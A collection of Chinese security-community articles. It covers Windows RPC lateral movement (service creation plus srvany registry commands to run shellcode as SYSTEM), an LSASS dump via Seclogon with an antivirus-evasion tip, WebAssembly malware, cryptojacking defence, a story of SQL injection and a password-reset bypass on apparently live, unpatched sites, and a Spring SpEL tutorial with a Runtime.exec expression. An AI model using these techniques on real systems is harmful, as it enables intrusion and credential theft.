奇怪的是我们在编写的时候总是提示我们缺少参数，如下图,我们缺少一个句柄，这个句柄就是我们写RPC时候的一个绑定句柄，这个Demo写起来就简单多了，不需要之前那么多要求，只要配置一个RPC绑定就可以了。
本来以为很简单直接写一个绑定就可以，没想到调用之前的绑定，发现总是失败，后来查找github别人的源码发现需要多一步验证，需要实现RpcBindingSetAuthInfoExA,真是吐了。
RPC_STATUS RpcBindingSetAuthInfoExA(
RPC_BINDING_HANDLE Binding,
RPC_CSTR ServerPrincName,
unsigned long AuthnLevel,
unsigned long AuthnSvc,
RPC_AUTH_IDENTITY_HANDLE AuthIdentity,
unsigned long AuthzSvc,
RPC_SECURITY_QOS *SecurityQos
);
关键代码
效果图：
相关代码：
<https://github.com/M0nster3/RpcsDemo/blob/main/MS-TSCH_DESK/RPCDESK/RPCDESK/main.c>
### 5、MS-SCMR
[[MS - SCMR]](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-scmr/705b624a-13de-43cc-b8a2-99573da3635f
"\[MS - SCMR\]")：服务控制管理器远程协议.
指定服务控制管理器远程协议，用于远程管理服务控制管理器 (SCM)，这是一个启用服务配置和服务程序控制的 RPC
服务器。其实就是一个管理服务的一个RPC协议。
需要调用ROpenSCManagerA、RCreateServiceA也可以创建服务，除了这个之外还可以查看很多文档，还有许多API来使用。
DWORD ROpenSCManagerA(
[in, string, unique, range(0, SC_MAX_COMPUTER_NAME_LENGTH)]
SVCCTL_HANDLEA lpMachineName,
[in, string, unique, range(0, SC_MAX_NAME_LENGTH)]
LPSTR lpDatabaseName,
[in] DWORD dwDesiredAccess,
[out] LPSC_RPC_HANDLE lpScHandle
);
DWORD RCreateServiceA(
[in] SC_RPC_HANDLE hSCManager,
[in, string, range(0, SC_MAX_NAME_LENGTH)]
LPSTR lpServiceName,
[in, string, unique, range(0, SC_MAX_NAME_LENGTH)]
LPSTR lpDisplayName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwServiceType,
[in] DWORD dwStartType,
[in] DWORD dwErrorControl,
[in, string, range(0, SC_MAX_PATH_LENGTH)]
LPSTR lpBinaryPathName,
[in, string, unique, range(0, SC_MAX_NAME_LENGTH)]
LPSTR lpLoadOrderGroup,
[in, out, unique] LPDWORD lpdwTagId,
[in, unique, size_is(dwDependSize)]
LPBYTE lpDependencies,
[in, range(0, SC_MAX_DEPEND_SIZE)]
DWORD dwDependSize,
[in, string, unique, range(0, SC_MAX_ACCOUNT_NAME_LENGTH)]
LPSTR lpServiceStartName,
[in, unique, size_is(dwPwSize)]
LPBYTE lpPassword,
[in, range(0, SC_MAX_PWD_SIZE)]
DWORD dwPwSize,
[out] LPSC_RPC_HANDLE lpServiceHandle
);
通过创建的服务是没有开启的，这个时候我们就需要一个开启的API RStartServiceA,准备好了所有的东西，就可以开始编写Demo。
相关Demo和之前的一样哪些搞就可以了，这里写几个注意的点。
1、当我们使用官方给的IDL编写的时候有很多重命名，我们直接注释就可以，还有一些我们代码中可能用不到的方法，但是由于是使用官方的IDL编译的，所以需要我们实现一下。
2、创建服务的时候只能直接将我们的EXE作为服务启动，因为不是所有程序都可以作为服务的方式运行，作为服务运行需要能返回运行情况等信息，所以有的程序添加后会，这里我提供一个方法，就是使用微软官方的程序srvany.exe
1）首先将srvany.exe添加到服务中并且启动。
2）将我们要执行的内容路径放入到注册表中
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ServiceName\Parameters /v AppDirectory /t REG_SZ /d "c:\" /f
3）然后将程序放入注册表
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ServiceName\Parameters /v Application /t REG_SZ /d "c:\xxx.exe" /f
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ServiceName\Parameters /v AppParameters /t REG_SZ /d "如果程序需要参数则填在这里，如果不需要，清空这段文字或者整行" /f
效果图：
这里我们将我们的shellcode执行一下,添加注册表的时候需要将servicesname改为你添加任务的名字。
而且这里还是system权限。
### 6、Seclogon Dump Lsass
这个是[splinter_code ](https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html "splinter_code ")这个师傅发现的.
它的原理主要是，不直接调用OpenProcess去打开进程对象，而是利用已经打开的Lsass进程句柄，从而绕过检测，然后利用RpcImpersonateClient尝试使用PID做一个调用者的伪造。
关键细节可以看这个师傅的博客说的很详细了：
效果图：
需要将我们的第一步-t 1的提取出来，不然直接使用-t 2解密之后会被杀软杀了。
参考
<https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html>
<https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html>
<https://www.anquanke.com/post/id/245482#h3-5>
<https://mp.weixin.qq.com/s/ByW_tsipzLGKa9mUBImCqA> | 社区文章 |
原文：<https://www.virusbulletin.com/virusbulletin/2018/10/dark-side-webassembly/>
**摘要**
* * *
WebAssembly（Wasm）格式是一种在Web浏览器中运行C/C++等本机语言编译而成的代码的方法。与其他诸如JavaScript之类的编程语言编译得到的字节码相比，由本机代码编译得到的WebAssembly字节码的运行速度要更快一些。WebAssembly经常用于开发网页游戏。此外，目前包括Chrome、Firefox和Microsoft
Edge在内的所有流行浏览器的最新版本都已经对WebAssembly提供了相应的支持。
虽然Wasm已经问世多年，但直到最近被用于浏览器环境下的加密货币挖掘，它才开始崭露头角。同时，这也打开了Wasm恶意应用的潘多拉盒子。
在本文中，我们将研究Wasm恶意应用的一些具体例子，例如：
* 技术支持诈骗：随着漏洞利用工具包的减少，技术支持骗局正在通过各种渠道喷薄而出，包括被攻陷的网站、恶意广告等。由于这些诈骗活动大量使用JavaScript代码，并且很少或根本没有进行混淆处理，因此，很容易被检测出来。在本文中，我们将介绍如何将Wasm用于技术支持诈骗，以使如何提高其检测难度。
* 浏览器漏洞利用：对于用JavaScript编写的浏览器漏洞利用代码，我们可以对其进行修改，让它们使用Wasm来利用浏览器漏洞，并完成后续的恶意软件下载。
* 基于脚本的键盘记录程序：Wasm还可用于窃取输入到Web表单中的信息。目前，这种信息窃取行为都是通过JavaScript代码完成的。
就目前来说，针对Wasm格式的恶意代码的检测还是非常困难的，因为这是一种编译型文件，使得之前基于字符串的检测方式几乎全部失效。下面，我们将讨论适用于上述方法的某些领域。
**简介**
* * *
**JavaScript**
* * *
JavaScript[1]是一种通用编程语言。JavaScript是一种非常简单的语言，却有着庞大的生态系统，并且与Web密不可分。除非将现有的Web应用程序全部推倒重来，否则根本就无法摆脱JavaScript——没有哪个浏览器供应商希望看到这一幕。此外，所有浏览器技术和安全约束都是专为JavaScript而设计的。
目前JavaScript的速度非常快，但是JavaScript引擎中的某些机制对其速度仍有所限制[2]:
* 装箱：引擎会对浮点数进行装箱处理，为其建立相应的封装器，使得它们可以与其他值（如对象）共存。
* 即时（JIT）编译和运行时类型检查：对于大多数JavaScript引擎来说，代码的编译工作是分两步完成的。首先，使用一种编译速度很快，但是运行速度很慢的格式进行编译。然后，观察这种格式的代码的执行情况。如果它运行得非常频繁，则可以对其参数等数据的类型做出假设，并将其编译成运行速度更快的格式。如果其中一个假设被证明是错误的，则不能再使用更快的格式，并且引擎必须返回到较慢的格式。更快的格式总是因为必须检查假设是否仍然成立而慢下来。
* 自动垃圾收集：这会导致代码的运行速度大为降低。
* 灵活的内存布局：JavaScript的数据结构非常灵活，但也使得内存管理速度变慢。
**Asm.js**
* * *
Asm.js[3]是JavaScript语言的一个子集，定义该子集的目的是易于优化，主要用作C和C++等语言的编译器目标。Asm.js代码可以生成没有上述缺点的可执行文件。它们可以“提前”编译，并且比JIT编译的速度更快一些。
由于Web不受任何单一供应商的控制，因此每一次改进大家都必须群策群力。asm.js出自于Mozilla的一群核心开发人员之手。同时，Google开发人员则致力于Native
Client（NaCl）和Portable Native
Client（PNaCl），这是一种基于LLVM编译器项目的Web二进制格式。虽然这些解决方案都在某种程度上发挥了作用，但它们并没有为上述所有问题提供令人满意的答案。正是基于这种经验，WebAssembly便应运而生了：大家共同努力，旨在提供跨浏览器的编译器目标。
WebAssembly是asm.js不断进化的结果
[4]。WebAssembly的目标是填补一个迄今为止JavaScript被迫扮演的角色:一种可以作为编译器目标的低级代码表示形式。
WebAssembly为C和C++等语言提供了统一的编译目标，而这些语言很难映射到JavaScript语言[5]。
**WebAssembly**
* * *
WebAssembly
(Wasm)是一种可以在现代web浏览器上运行的新型代码，它不仅提供了新的特性，同时，性能也有了显著的提升。它被认为是web的一种新的二进制格式[6,7]。通常，对性能要求很高的函数，可以先用Wasm实现，然后，可以像库一样导入到JavaScript代码中。
当然，创建Wasm的初衷并非为了替代JavaScript，而是为了实现两者之间的补充和配合。随着WebAssembly的引入，现代web浏览器的虚拟机将同时运行JavaScript和Wasm代码。
目前，所有主流浏览器都已经支持Wasm。WebAssembly代码的优点包括:
* 快速、高效和可移植性:WebAssembly的代码可以在不同的平台上以接近本机的速度执行
* 可读性和可调试性:WebAssembly是一种低级汇编语言，但它具有人类可读的文本格式
* 安全性: WebAssembly被指定在安全的沙箱执行环境中运行。
WebAssembly:旨在提供跨浏览器编译器目标的共同协作。
**如何生成WebAssembly代码？**
* * *
像Emscripten [8,9]这样的工具可以用来将用C/C++编写的代码编译成WebAssembly代码：
* 复制下面简单的C示例代码，并将其保存到本地驱动器的新目录下名为“hello.c”的文件中：
图2：将上面的C示例代码的副本保存到本地驱动器的新目录下名为“hello.c”的文件中。
* 导航到hello.c文件所在目录，然后运行以下命令：
emcc hello.c -s WASM=1 -o hello.html
对于上述命令中的各个选项，解释如下：
-s WASM=1 ——规定输出格式为Wasm。如果我们不指定的话，Emscripten将只输出asm.js，就像默认情况下那样。
-o hello.html ——通知Emscripten生成一个HTML页面，用于存放要运行的代码（以及要使用的文件名），以及相应的Wasm模块和JavaScript“胶水”代码（用来编译和实例化Wasm，使其适用于Web环境）。
图3：将代码编译为WebAssembly格式。
我们将来的计划是摆脱上述JavaScript胶水代码，能够以类似`JavaScripts (<script
type='module'>)`这样的形式来加载WebAssembly模块。
**WebAssembly与恶意软件**
* * *
我们知道，WebAssembly不仅提供了出色的性能，还提供了丰富的功能，这些特性早晚会引起恶意软件作者的注意。WebAssembly在基于浏览器的挖矿方面非常具有竞争力：它能够高效地利用受害者的计算机资源（基本上是CPU周期）来挖掘加密货币。之所以这么说，是因为攻击者可以把用C语言实现的加密货币挖矿算法编译为WebAssembly代码。并且，如果采用这种形式的话，受害者通常感觉不到挖矿软件的运行。
挖矿流程如图4所示。
图4：挖矿流程
了解了上述技术后，下面将讨论恶意使用WebAssembly的其他方法。
**小结**
* * *
在本文中，我们为读者详细介绍了WebAssembly的基础知识，在下一篇文章中，我们将为读者介绍它在恶意软件方面的用途。 | 社区文章 |
# Cryptojacking（挖矿）攻击及其检测防御手法
|
##### 译文声明
本文是翻译文章，文章原作者 csoonline，文章来源：csoonline.com
原文地址：<https://www.csoonline.com/article/3253572/internet/what-is-cryptojacking-how-to-prevent-detect-and-recover-from-it.html>
译文仅供参考，具体内容表达以及含义原文为准。
犯罪分子正在使用类似勒索软件的策略和中毒的网站，让你员工的计算机运行挖矿程序。本文将介绍关于cryptojacking攻击及其检测防御手法
## 一、什么是cryptojacking
Cryptojacking是未经授权使用其他人的计算机来挖掘 _加密货币_
[译者注：数字货币的一种]。黑客通过让受害者点击电子邮件中的恶意链接来加载计算机上的挖掘加密货币的代码，或者使用在受害者浏览器中加载后自动执行的JavaScript代码感染网站或在线广告来实现此目的。
无论是哪种方式，这些挖矿程序都会在后台运行。一点防范意识都没有的受害者除了可能可以发现电脑性能降低之外，什么都发现不了。
## 二、cryptojacking活动越发频繁
没有人清楚通过cryptojacking所产生的 _加密货币_
数量是多少，但毫无疑问cryptojacking十分疯狂。基于浏览器的cryptojacking行为次数增长迅速。去年11月，Adguard报告了浏览器内cryptojacking的增长率为31％。它的研究发现有33,000个网站运行挖矿脚本。据Adguard估计这些网站每月有10亿的访问量。
今年2月，Bad
Packets报告发现了34,474个运行Coinhive的站点，Coinhive是最受欢迎的JavaScript挖掘器，也用于合法的加密挖掘活动。7月份，Check
Point软件技术公司报告称，它发现的十大恶意软件中有四个是cryptojacking软件，包括排名前二的两个软件：Coinhive和Cryptoloot。
“ _加密货币挖掘行业（挖矿）_ 正处于起步阶段。”网络安全解决方案提供商WatchGuard Technologies的威胁分析师Marc
Laliberte表示，这里有很大的增长和发展空间。他指出，Coinhive易于部署，并在第一个月产生了30万美元。有利益的地方就有江湖，“从那时起，它发展十分迅速。这是一条赚钱的捷径。“
今年1月，研究人员发现了Smominru挖矿僵尸网络，该网络感染了超过50万台机器，这些机器主要分布在俄罗斯，印度和台湾。这次发现的僵尸网络主要针对Windows服务器进行Monero[译者注：门罗币]的开采，而据网络安全公司Proofpoint估计，截至1月底，它已经获利高达360万美元。
Cryptojacking实际上不需要用户了解很多重要的技术技能。据 _The New Gold Rush Cryptocurrencies Are the
New Frontier of Fraud_ 报道[译者注：[https://info.digitalshadows.com/TheNewGoldRush-CryptocurrencyResearch-Website.html，关于数字货币的一份报告]，一款在暗网上售卖的挖矿工具只需30美元就可以买到手。](https://info.digitalshadows.com/TheNewGoldRush-CryptocurrencyResearch-Website.html%EF%BC%8C%E5%85%B3%E4%BA%8E%E6%95%B0%E5%AD%97%E8%B4%A7%E5%B8%81%E7%9A%84%E4%B8%80%E4%BB%BD%E6%8A%A5%E5%91%8A%5D%EF%BC%8C%E4%B8%80%E6%AC%BE%E5%9C%A8%E6%9A%97%E7%BD%91%E4%B8%8A%E5%94%AE%E5%8D%96%E7%9A%84%E6%8C%96%E7%9F%BF%E5%B7%A5%E5%85%B7%E5%8F%AA%E9%9C%8030%E7%BE%8E%E5%85%83%E5%B0%B1%E5%8F%AF%E4%BB%A5%E4%B9%B0%E5%88%B0%E6%89%8B%E3%80%82)
因为Cryptojacking能够通过承担更少的风险来赚更多的钱，它正变得越来越受黑客欢迎。SecBI的首席技术官兼联合创始人Alex
Vaystikh说：“黑客认为，与勒索软件相比，Cryptojacking成本更低并且可获利润更大”。因为，如果黑客使用勒索软件感染了100台计算机，他也许只能让其中的3个人为计算机付款。但相比之下，通过Cryptojacking，这100台受感染的计算机都可以源源不断的产生加密货币。
除此之外，Cryptojacking被发现的风险也远低于勒索软件。挖矿程序偷偷摸摸地在后台运行，并且很有可能长时间不被检测到。即使被发现，也很难追溯到源头，受害者没有驱动力去这样做，因为没有任何东西被盗或加密。黑客倾向于选择匿名加密货币，如Monero[译者注：门罗币]和Zcash[译者注：巴比特，首个使用零知识证明机制的区块链系统]，而不是更受欢迎的比特币，因为匿名加密货币很难被溯源。
## 三、cryptojacking的工作原理
黑客有两种主要方式让受害者的计算机偷偷挖掘加密货币。一种是欺骗受害者将加密代码加载到他们的计算机上。这是通过类似网络钓鱼的策略完成的：受害者收到一封看似合法的电子邮件，引诱他们去点击链接。然后链接运行代码在受害者的计算机上生成挖矿脚本。然后，当受害者使用它的计算机工作时，脚本会在后台运行。
另一种方法是在网站上注入脚本或将广告投放到多个网站。一旦受害者访问该网站或在其浏览器中弹出受感染的广告，该脚本将自动执行。在这种方法当中，挖矿脚本将不会存储到受害者的计算机上。无论使用哪种方法，挖矿脚本都会在受害者的计算机上计算复杂的数学问题，并将结果发送到黑客控制的服务器。
黑客通常会使用这两种方法来最大化他们的回报。Vaystikh说：“攻击者通过一些被植入挖矿代码的老版本的软件为受害者提供服务，从而获得回报”
举个栗子，在为黑客挖掘加密货币的100个设备中，10％可能通过受害者机器上的代码产生收入，而90％通过其Web浏览器获利。
与大多数其他类型的恶意软件不同，cryptojacking不会损坏计算机或受害者的数据。他们只是窃取了CPU处理资源。对于个人用户来说，运行速度较慢的计算机可能只是一个烦恼。对于拥有许多已被挖矿程序感染的系统的组织来说，挖矿程序会导致运维部门以及花在跟踪性能问题上的时间所需要的开销增大，只能期望通过更换系统和组件来解决问题。
## 四、真实的cryptojacking案例
Cryptojackers是聪明的人，他们已经设计了一些方案来让其他人的计算机挖矿。而这些方案大多数都不是新的：加密挖掘传递方法通常源自用于其他类型的恶意软件（如勒索软件或广告软件）的方法。Anomali安全策略主管Travis
Farral说：“你可以看出来很多老方法，都是过去木马和勒索软件使用过的。现在他们不再使用勒索软件或特洛伊木马，而是保留软件的传播特性，重新修改软件的核心功能部分使其可以实现cryptojacking的功能。”
下面是一些现实中的例子
### 1.PowerGhost：通过Spear-fishing窃取Windows凭据的挖矿程序
[译者注：Spear-fishing，鱼叉式网络钓鱼，是一种源于亚洲与东欧只针对特定目标进行攻击的网络钓鱼攻击]
网络威胁联盟（CTA）的非法加密货币威胁报告描述了首先由Fortinet分析进行的PowerGhost。PowerGhost是一种可以通过多种方式避免检测的隐形恶意软件。它首先使用Spear-fishing在系统上获得立足点，然后它窃取Windows凭据并利用Windows Management
Instrumentation（WMI）[译者注：可以通过WMI远程管理计算机，[https://docs.microsoft.com/zh-cn/windows/desktop/WmiSdk/about-wmi]和EternalBlue漏洞进行传播。然后它尝试禁用防病毒软件和其他挖矿程序](https://docs.microsoft.com/zh-cn/windows/desktop/WmiSdk/about-wmi%5D%E5%92%8CEternalBlue%E6%BC%8F%E6%B4%9E%E8%BF%9B%E8%A1%8C%E4%BC%A0%E6%92%AD%E3%80%82%E7%84%B6%E5%90%8E%E5%AE%83%E5%B0%9D%E8%AF%95%E7%A6%81%E7%94%A8%E9%98%B2%E7%97%85%E6%AF%92%E8%BD%AF%E4%BB%B6%E5%92%8C%E5%85%B6%E4%BB%96%E6%8C%96%E7%9F%BF%E7%A8%8B%E5%BA%8F)
### 2.变种MinerGate：会在受害者计算机被使用时停止挖矿
根据CTA报告，Palo Alto
Networks分析了MinerGate恶意软件系列的一个变种，并发现了一个有趣的功能。它可以检测鼠标移动并暂停采矿活动。这可以避免让受害者倾倒，避免他们注意到性能的下降。
### 3.BadShell：使用Windows进程来完成其挖矿工作
几个月前，Comodo
Cybersecurity在客户端系统上发现恶意软件，该系统使用合法的Windows进程来挖掘加密货币。它使用的是BadShell，具有以下特点
* 1.使用PowerShell执行命令，将恶意软件代码注入现有的运行进程。
* 2.使用计划任务来保证脚本的持久性
* 3.注册表保存恶意软件的二进制代码
### 4.内部员工在公司系统上运行挖矿程序
在今年早些时候的EmTech数字会议上，Darktrace讲述了一个客户，一家欧洲银行的故事，它在服务器上遇到了一些不寻常的流量模式。夜间流程运行缓慢，银行的诊断工具没有发现任何东西。Darktrace发现一个新的服务器在那段时间内上线，但该银行称该服务器不存在。对数据中心的实物检查表明，一名公司职员背地里使用该服务器运行挖矿程序
### 5.通过GitHub提供挖矿程序
今年3月，Avast
Software报告称，加密攻击者正在使用GitHub作为托管恶意软件的主机。他们找到了合法的项目，他们从中创建了一个分叉项目。然后，恶意软件隐藏在该分叉项目的目录结构中。攻击者利用网络钓鱼攻击的方法，cryptojackers会引诱受害者下载该恶意软件。举个栗子，通过警告诱使他们进行点击某项内容从而下载恶意软件，比如：更新Flash播放器或者确定成人内容游戏网站的责任声明。
### 6.利用rTorrent漏洞
Cryptojackers发现了一个rTorrent错误配置漏洞，该漏洞使得某些rTorrent客户端无需进行XML-RPC通信身份验证即可访问。他们在Internet上扫描暴露的客户端，然后在其上部署Monero cryptominer。安全服务提供商 F5
Networks在2月份报告了此漏洞，并建议rTorrent用户确保其客户不接受外部连接。
### 7.Facexworm：恶意Chrome扩展程序
这种恶意软件是卡巴斯基实验室于2017年首次发现的，是一款谷歌Chrome扩展程序，它使用Facebook
Messenger感染用户的计算机。最初，Facexworm提供了广告软件。今年早些时候，趋势科技发现了各种针对加密货币交换的Facexworm，并且能够提供挖矿代码。它仍然使用受感染的Facebook帐户来传递恶意链接，但也可以窃取网络帐户和凭据，这允许它将挖矿代码注入到这些网页当中。
### 8.WinstarNssmMiner：会造成计算机崩溃的挖矿程序
今年5月，360 Total
Security发现了一个挖矿程序，它迅速传播并被证实来源于cryptojackers。这个恶意软件被称为WinstarNssmMiner，如果受害者尝试去删除它，那么它将导致受害者的计算机崩溃。WinstarNssmMiner通过首先启动svchost.exe进程并将代码注入其中并将生成的进程的属性设置为CriticalProcess来实现此目的。由于计算机被视为其中的一个关键过程，因此一旦删除该过程，计算机就会崩溃。
### 9.CoinMiner：攻击其他挖矿程序的矿王
Cryptojacking已经变得非常普遍，因此黑客设计他们的恶意软件，以便在他们感染的系统上查找并杀死已经运行的其他Cryptojacking。CoinMiner就是一个例子。
根据Comodo的说法，CoinMiner会检查Windows系统上是否存在AMDDriver64进程。在CoinMiner恶意软件中有两个列表，$
malwares和$ malwares2，它们包含已知属于其他密码系统的进程的名称。然后它会杀死这些进程。
## 五、如何防止Cryptojacking
### 1.将Cryptojacking攻击威胁纳入安全培训当中
人是最关键的一环，重点关注通过网络钓鱼尝试将脚本加载到用户的计算机上的攻击手法。“当尝试通过技术去解决方案失败时，对人员的培训有利于保护自己。”Laliberte说。他认为网络钓鱼将继续成为传播所有类型恶意软件的主要方法。
### 2.在Web浏览器上安装广告拦截或反加密扩展
由于加密劫持脚本通常通过网络广告提供，因此安装广告拦截器可能是阻止它们的有效方法。Ad Blocker
Plus等一些广告拦截器具有检测加密挖掘脚本的功能。Laliberte建议使用No Coin和MinerBlock等扩展，这些扩展旨在检测和阻止加密脚本。
### 3.使用能够检测已知加密矿工的端点保护
许多端点保护/防病毒软件供应商已在其产品中添加了挖矿程序检测功能。“防病毒软件是在终端上试图防止挖矿程序的好东西之一。挖矿程序特征已知，那么它很有可能被检测到，”Farral说。他补充说，请注意，挖矿程序的作者不断改变他们的技术以避免程序被防病毒软件检测到。所以该方法存在一定滞后性
### 4.安全服务商的Web过滤工具应该保持最新
如果安全服务商确定了一个提供挖矿程序的网页，它需要马上将其加入过滤名单中/过滤规则中
### 5.维护浏览器扩展
一些攻击者正在使用恶意浏览器扩展或中毒合法扩展来执行加密挖掘脚本。
### 6.使用移动设备管理（MDM）解决方案
自带设备（BYOD）策略应对挖矿程序十分有效。“MDM可以在很大程度上保持BYOD的安全，”Laliberte说。MDM解决方案可以帮助管理用户设备上的应用和扩展。MDM解决方案倾向于面向大型企业，小型企业通常无力承担。但是，Laliberte指出，移动设备存在的风险比较小。因为它们往往具有较低的处理能力，所以黑客往往不会将移动设备作为首选攻击目标
因为以上的方法都不是万无一失的，并且Cryptojacking越来越猖獗，所以网络风险解决方案提供商Coalition嗅到了商机，对各大公司提供被诈骗保险。根据报道，它将偿还组织因欺诈性使用商业服务（包括加密采矿）而造成的直接财务损失。
## 六、如何检测Cryptojacking
就像勒索软件一样，尽管你尽最大努力阻止它，但加密劫持可能会影响你的组织。检测它可能很困难，特别是如果只有少数系统受到损害。不要依赖现有的端点保护工具来停止加密。“加密挖掘代码可以隐藏基于签名的检测工具，”Laliberte说。“桌面防病毒工具将无法看到它们。”以下是可行的：
### 1.对你的运维部门进行培训，让他们学会如何寻找加密采矿的迹象。
SecBI的Vaystikh表示，有时挖矿程序的入侵第一个迹象应该是运维部门接到对计算机性能下降的投诉急剧增加。这应该引起极大的重视。
Laliberte说，运维部门应该去寻找一些过热系统，这会导致CPU或冷却风扇故障。“由于CPU使用率过高导致损坏，可能会缩短设备的生命周期，”他说。平板电脑和智能手机等薄型移动设备尤其如此。
### 2.部署网络监控解决方案。
Vaystikh认为，企业网络中的密码攻击比在家中更容易检测，因为大多数普通用户的终端解决方案都没有检测到它。但是对于企业来说，通过网络监控解决方案可以轻松检测到Cryptojacking，因为大多数企业组织都有网络监控工具。
但是，只有少数拥有网络监控工具和数据的组织拥有分析该信息以进行准确检测的工具和能力。例如，SecBI开发了一种人工智能解决方案，用于分析网络数据并检测加密劫持和其他特定威胁。
Laliberte同意网络监控是检测挖矿行为的最佳选择。“检查所有网络流量的网络边界监控有更好的机会检测挖矿程序，”他说。许多监控解决方案会将该活动向下钻取到各个用户，以便您可以识别受影响的设备。
“如果你在服务器上有一个良好的出口过滤，观察出站的流量，可以很好的检测出一些挖矿程序的运行，”Farral说。但他警告说，挖矿程序的作者可以通过修改他们的恶意软件来避免这种检测方法。
### 3.监控您自己的网站以获取加密挖掘代码。
Farral警告说，Cryptojackers正在寻找在Web服务器上放置一些Javascript代码的方法。“服务器本身不是目标，但访问网站的任何人都具有被感染的风险，”他说。他建议定期监视Web服务器上的文件更改和页面更改情况
### 4.及时了解Cryptojacking趋势。
攻击方法和挖掘程序代码本身也在不断发展。Farral说，了解软件和行为可以帮助您检测加密。“一个聪明的组织应该时刻关注安全热点。”
## 七、如何处理已经遭受的Cryptojacking攻击
### 1.删除并阻止相关网站提供的脚本
对于浏览器内JavaScript攻击，一旦检测到Cryptojacking，解决方案就很简单：关闭运行脚本的浏览器选项卡。安全服务公司应该关注脚本来源url，并更新公司的Web过滤器特征库。同时，也可以考虑部署反加密挖掘工具以帮助防止未来的攻击。
### 2.更新和清除浏览器扩展。
更新所有扩展并删除那些不需要或被感染的扩展
### 3.学习和适应。
利用这些遭受攻击的经验可以更好地了解攻击者如何破坏您的系统。更新安全意识培训内容，以便用户，运维部门能够更好地识别Cryptojacking攻击并做出相应的响应。 | 社区文章 |
上次对学校进行了渗透测试之后这几天又没有什么事情可以干了，h vv 学校不给假，顿时失望透顶了本来以为还能出去看看大场面，奈何......
看到很多文章利用了fofa一把梭批量搞站，联想到上次的某个程序，大脑飞速运转也想来搞一搞，先打开上次的站点
在登陆处存在注入
注入点在newpass处
Sqlmap一把梭
是支持堆叠注入的但是命令始终执行不了，使用sp_oacreatea函数也不行，菜鸡落泪，有没有大佬能够帮一手
在程序的下方发现了版权信息
然后fofa一把梭
经测试该公司产下的其他程序也存在注入
越看越像是二开的
不过厂商注册资金没到位，痛失CNVD
本来想着就这样算了的，这不刚好自己水费不太够了，垃圾饮水机只有热水没有凉水，水费还死贵刚好来试试这个APP
配置好模拟器和burp
直接开干
打开APP
直接在找回密码来一波操作
这里就使用的自己的手机号
发现codeNum参数修改成1后发现图形验证码变成了一位
这里我更加相信这里有问题
经过不断的抓包测试发现一个有意思的数据包
发现这个codeNum=6 如果不修改这里
发送验证码
刚好是六位
猜测这里是控制验证码的长度参数
果断修改成1进行测试发包
果然收到了一位数的验证码，任意用户密码重置get
由于站点比较敏感还未修复，登陆成功的截图就先不放了
此次渗透测试结束
总结：挖洞时多注意页面内存在的信息，说不定一下子就通用了
抓包时多注意包内的内容，胆大心细 | 社区文章 |
以下内容均为笔者粗陋的见解，如有误解之处，请您批评指正。
# Spring框架安全
## Spring简介
Spring是目前Java应用最广泛的框架之一，是拥有着IoC和AOP的优秀机制的容器框架。
而Spring MVC，则是Spring提供给Web开发的框架设计。
## Spring MVC实现逻辑
Spring
MVC中，所有的请求都有`DispatcherServlet`来统一处理、分发。然后借助`HandlerMapping`定位到处理请求的控制器(Controller)。
`Controller`处理完成用户请求后，返回`ModelAndView`对象给`DispatcherServlet`。
逻辑实现图如下:
这个图想必比较直观了，从宏观角度来说，`DispatcherServlet`是整个Web的控制器，从微观角度来说，`Controller`是每次请求的控制器。
下面将从创建一个Spring MVC开始，熟悉Spring MVC的项目结构和代码逻辑。
## Spring MVC项目
使用IDEA NEW一个Spring项目
并勾选 "Spring MVC"、"Web Application"
项目结构如下：
配置一个服务器，这里使用Tomcat
至此项目就算是配置完成了，启动Tomcat，访问index.jsp，效果如下。
## Spring MVC应用
### 1、Spring MVC App示例
创建一个包，在包中创建一个控制器TestController
在控制器中输入以下代码:
package t4rrega.spring;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
@RequestMapping("/test")
public class TestController {
@RequestMapping("/index")
public String test(String input) {
return "/WEB-INF/t4rrega/test.jsp";
}
}
该控制器通过`RequestMapping`对访问路径进行定义。
该注解用来处理请求地址的映射，可以用于类或方法。
用作类定义时，则表明以该地址作为父路径，如上图中的test()方法，如果需要从URL中访问到，路径为: `父路径+方法路径=/test/index`
然后在相应的路径创建文件
修改`dispatcher-servlet.xml`文件，添加图示中的代码，其中`component-scan`，允许Spring MVC对包进行查找。
修改web.xml
修改url-pattern为"/"
Servlet-mapping不清楚的可以看我之前javaWeb的文章:[JavaWeb上](https://mp.weixin.qq.com/s/8IZa3TParsfSGiNBVnQVBA)、[JavaWeb下](https://mp.weixin.qq.com/s/7y8xJ9sOLOgDljbfj6al8g)
访问指定的路径，效果如下
### 2、Spring MVC Model向View传递值
Model向View传递值，主要通过`model.addAttribute`将值添加到上下文中
之后可以通过`model.addAttribute`设置的第一个参数名进行获取值
这种方式与JavaWeb的域对象类似
修改TestController.java如下
package t4rrega.spring;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
@RequestMapping("/test")
public class TestController {
@RequestMapping("/index")
public String test(Model model) {
model.addAttribute("id", "t4rrega");
return "/WEB-INF/t4rrega/test.jsp";
}
}
通过${}获取引用值
效果如下
### 3、Spring MVC 获取URL参数值
Spring MVC获取URL参数值非常简单，只需要在方法中写上需要获取的参数即可
如下的name
通过${}获取引用
效果如下
## Spel简介
### 1、Spel API
`SpelExpressionParser`类负责解析表达式，返回一个`Expression`对象
`getValue()`方法执行表达式，默认容器是spring本身的容器:`ApplicationContext`
### 2、Spel Grammer
#### #{}
EL使用${},而Spel则是使用#{}作为定界符。所有在大括号内的内容都被认定为表达式。
示例:
* 引用对象: #{person}
* 引用对象属性: #{person.name}
* 调用对象方法: #{person.toString()}
#### T()
T()运算符会调用作用域的方法和常量。
例如: T(java.lang.Runtime),会返回一个java.lang.Runtime对象
### 3、Spel 定义
#### 3.1 XML
<bean id="Calc" class="org.spring.samples.Calc">
<property name="Calc" value="#{T(java.lang.Runtime).getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")/>
</bean>
#### 3.2 注解
public class EmailSender {
// 这里比较特殊，如果获取属性名称，还可以使用${}
